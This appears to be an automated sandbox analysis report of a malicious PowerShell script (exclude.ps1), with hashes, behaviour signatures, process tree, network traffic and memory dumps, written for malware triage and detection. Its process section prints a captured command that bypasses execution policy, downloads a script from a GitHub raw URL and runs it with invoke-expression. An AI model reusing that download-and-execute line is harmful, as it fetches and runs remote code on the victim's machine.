Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/01/2025, 12:50 UTC

General

  • Target

    i965652f-main/exclude.ps1

  • Size

    979B

  • MD5

    22b7c77e64476f1842845f1529369794

  • SHA1

    b034134dfe982c73793a897278301d05a87a31a4

  • SHA256

    cdcfc9b6d8e0a133e249819859bd5d4aa303dd128ac326ce50d32dcfa884bc56

  • SHA512

    dd32593c528705522f6380ea4751c7c86a18d3a901094ef71babbf12f3ab5aee538052c033d7ca19d622af1b230e1a5fea627608e280b8913d8e63c85f69d752

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\i965652f-main\exclude.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3544
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $pl = iwr https://raw.githubusercontent.com/k53xupn43/i965652f/refs/heads/main/e.ps1; invoke-expression $pl
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2076

Network

  • flag-us
    DNS
    8.8.8.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.8.8.8.in-addr.arpa
    IN PTR
    Response
    8.8.8.8.in-addr.arpa
    IN PTR
    dnsgoogle
  • flag-us
    DNS
    217.106.137.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    217.106.137.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    8.153.16.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.153.16.2.in-addr.arpa
    IN PTR
    Response
    8.153.16.2.in-addr.arpa
    IN PTR
    a2-16-153-8deploystaticakamaitechnologiescom
  • flag-us
    DNS
    raw.githubusercontent.com
    powershell.exe
    Remote address:
    8.8.8.8:53
    Request
    raw.githubusercontent.com
    IN A
    Response
    raw.githubusercontent.com
    IN A
    185.199.111.133
    raw.githubusercontent.com
    IN A
    185.199.110.133
    raw.githubusercontent.com
    IN A
    185.199.109.133
    raw.githubusercontent.com
    IN A
    185.199.108.133
  • flag-us
    GET
    https://raw.githubusercontent.com/k53xupn43/i965652f/refs/heads/main/e.ps1
    powershell.exe
    Remote address:
    185.199.111.133:443
    Request
    GET /k53xupn43/i965652f/refs/heads/main/e.ps1 HTTP/1.1
    User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237
    Host: raw.githubusercontent.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Connection: keep-alive
    Content-Length: 2002
    Cache-Control: max-age=300
    Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
    Content-Type: text/plain; charset=utf-8
    ETag: "f0aa0eaf96f84761173c58ba7a1bd82ae2a81d3f9bb6c2a3480ef828a9f0e474"
    Strict-Transport-Security: max-age=31536000
    X-Content-Type-Options: nosniff
    X-Frame-Options: deny
    X-XSS-Protection: 1; mode=block
    X-GitHub-Request-Id: 14E8:80D7E:317C77:41B950:6789008C
    Accept-Ranges: bytes
    Date: Thu, 16 Jan 2025 12:50:20 GMT
    Via: 1.1 varnish
    X-Served-By: cache-lcy-eglc8600088-LCY
    X-Cache: MISS
    X-Cache-Hits: 0
    X-Timer: S1737031820.306800,VS0,VE143
    Vary: Authorization,Accept-Encoding,Origin
    Access-Control-Allow-Origin: *
    Cross-Origin-Resource-Policy: cross-origin
    X-Fastly-Request-ID: e2302ff11304e3555ab4b9f31a8f8d1e9ab8ada0
    Expires: Thu, 16 Jan 2025 12:55:20 GMT
    Source-Age: 0
  • flag-us
    DNS
    133.111.199.185.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    133.111.199.185.in-addr.arpa
    IN PTR
    Response
    133.111.199.185.in-addr.arpa
    IN PTR
    cdn-185-199-111-133githubcom
  • flag-us
    DNS
    7.98.22.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    7.98.22.2.in-addr.arpa
    IN PTR
    Response
    7.98.22.2.in-addr.arpa
    IN PTR
    a2-22-98-7deploystaticakamaitechnologiescom
  • flag-us
    DNS
    2.159.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    2.159.190.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    97.17.167.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    97.17.167.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    154.239.44.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    154.239.44.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    200.163.202.172.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    200.163.202.172.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    198.187.3.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    198.187.3.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.210.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.210.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    60.153.16.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    60.153.16.2.in-addr.arpa
    IN PTR
    Response
    60.153.16.2.in-addr.arpa
    IN PTR
    a2-16-153-60deploystaticakamaitechnologiescom
  • flag-us
    DNS
    172.214.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.214.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    31.243.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    31.243.111.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    90.16.208.104.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    90.16.208.104.in-addr.arpa
    IN PTR
    Response
  • 185.199.111.133:443
    https://raw.githubusercontent.com/k53xupn43/i965652f/refs/heads/main/e.ps1
    tls, http
    powershell.exe
    921 B
    7.2kB
    9
    11

    HTTP Request

    GET https://raw.githubusercontent.com/k53xupn43/i965652f/refs/heads/main/e.ps1

    HTTP Response

    200
  • 8.8.8.8:53
    8.8.8.8.in-addr.arpa
    dns
    66 B
    90 B
    1
    1

    DNS Request

    8.8.8.8.in-addr.arpa

  • 8.8.8.8:53
    217.106.137.52.in-addr.arpa
    dns
    73 B
    147 B
    1
    1

    DNS Request

    217.106.137.52.in-addr.arpa

  • 8.8.8.8:53
    8.153.16.2.in-addr.arpa
    dns
    69 B
    131 B
    1
    1

    DNS Request

    8.153.16.2.in-addr.arpa

  • 8.8.8.8:53
    raw.githubusercontent.com
    dns
    powershell.exe
    71 B
    135 B
    1
    1

    DNS Request

    raw.githubusercontent.com

    DNS Response

    185.199.111.133
    185.199.110.133
    185.199.109.133
    185.199.108.133

  • 8.8.8.8:53
    133.111.199.185.in-addr.arpa
    dns
    74 B
    118 B
    1
    1

    DNS Request

    133.111.199.185.in-addr.arpa

  • 8.8.8.8:53
    7.98.22.2.in-addr.arpa
    dns
    68 B
    129 B
    1
    1

    DNS Request

    7.98.22.2.in-addr.arpa

  • 8.8.8.8:53
    2.159.190.20.in-addr.arpa
    dns
    71 B
    157 B
    1
    1

    DNS Request

    2.159.190.20.in-addr.arpa

  • 8.8.8.8:53
    97.17.167.52.in-addr.arpa
    dns
    71 B
    145 B
    1
    1

    DNS Request

    97.17.167.52.in-addr.arpa

  • 8.8.8.8:53
    154.239.44.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    154.239.44.20.in-addr.arpa

  • 8.8.8.8:53
    200.163.202.172.in-addr.arpa
    dns
    74 B
    160 B
    1
    1

    DNS Request

    200.163.202.172.in-addr.arpa

  • 8.8.8.8:53
    198.187.3.20.in-addr.arpa
    dns
    71 B
    157 B
    1
    1

    DNS Request

    198.187.3.20.in-addr.arpa

  • 8.8.8.8:53
    172.210.232.199.in-addr.arpa
    dns
    74 B
    128 B
    1
    1

    DNS Request

    172.210.232.199.in-addr.arpa

  • 8.8.8.8:53
    60.153.16.2.in-addr.arpa
    dns
    70 B
    133 B
    1
    1

    DNS Request

    60.153.16.2.in-addr.arpa

  • 8.8.8.8:53
    172.214.232.199.in-addr.arpa
    dns
    74 B
    128 B
    1
    1

    DNS Request

    172.214.232.199.in-addr.arpa

  • 8.8.8.8:53
    31.243.111.52.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    31.243.111.52.in-addr.arpa

  • 8.8.8.8:53
    90.16.208.104.in-addr.arpa
    dns
    72 B
    146 B
    1
    1

    DNS Request

    90.16.208.104.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    6cf293cb4d80be23433eecf74ddb5503

    SHA1

    24fe4752df102c2ef492954d6b046cb5512ad408

    SHA256

    b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

    SHA512

    0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    f6f6d9afcb6837c2ea90f356245b7c78

    SHA1

    d5a0b855e2682122097d77fe5beb3c08acca9917

    SHA256

    8ac217b4c05fd6362d2e709996326bd85ef5ad0c5fe8668dbe58a4f6df84cae7

    SHA512

    7eb393746afb0d7fd28f5bd17e1f30e8470f78bb75ba07275c2e9d628bc92d2b7639731a91b3f1dca3897e8c9ef0fe8f01d84fc9376a71a0469fc1d095f48341

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p4v4b02y.mkm.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2076-17-0x00007FFD6EFA0000-0x00007FFD6FA61000-memory.dmp

    Filesize

    10.8MB

  • memory/2076-23-0x00007FFD6EFA0000-0x00007FFD6FA61000-memory.dmp

    Filesize

    10.8MB

  • memory/2076-29-0x00007FFD6EFA0000-0x00007FFD6FA61000-memory.dmp

    Filesize

    10.8MB

  • memory/2076-30-0x000001D532B40000-0x000001D5332E6000-memory.dmp

    Filesize

    7.6MB

  • memory/2076-33-0x00007FFD6EFA0000-0x00007FFD6FA61000-memory.dmp

    Filesize

    10.8MB

  • memory/3544-10-0x000001FD74670000-0x000001FD74692000-memory.dmp

    Filesize

    136KB

  • memory/3544-11-0x00007FFD6EFA0000-0x00007FFD6FA61000-memory.dmp

    Filesize

    10.8MB

  • memory/3544-12-0x00007FFD6EFA0000-0x00007FFD6FA61000-memory.dmp

    Filesize

    10.8MB

  • memory/3544-16-0x00007FFD6EFA0000-0x00007FFD6FA61000-memory.dmp

    Filesize

    10.8MB

  • memory/3544-0-0x00007FFD6EFA3000-0x00007FFD6EFA5000-memory.dmp

    Filesize

    8KB

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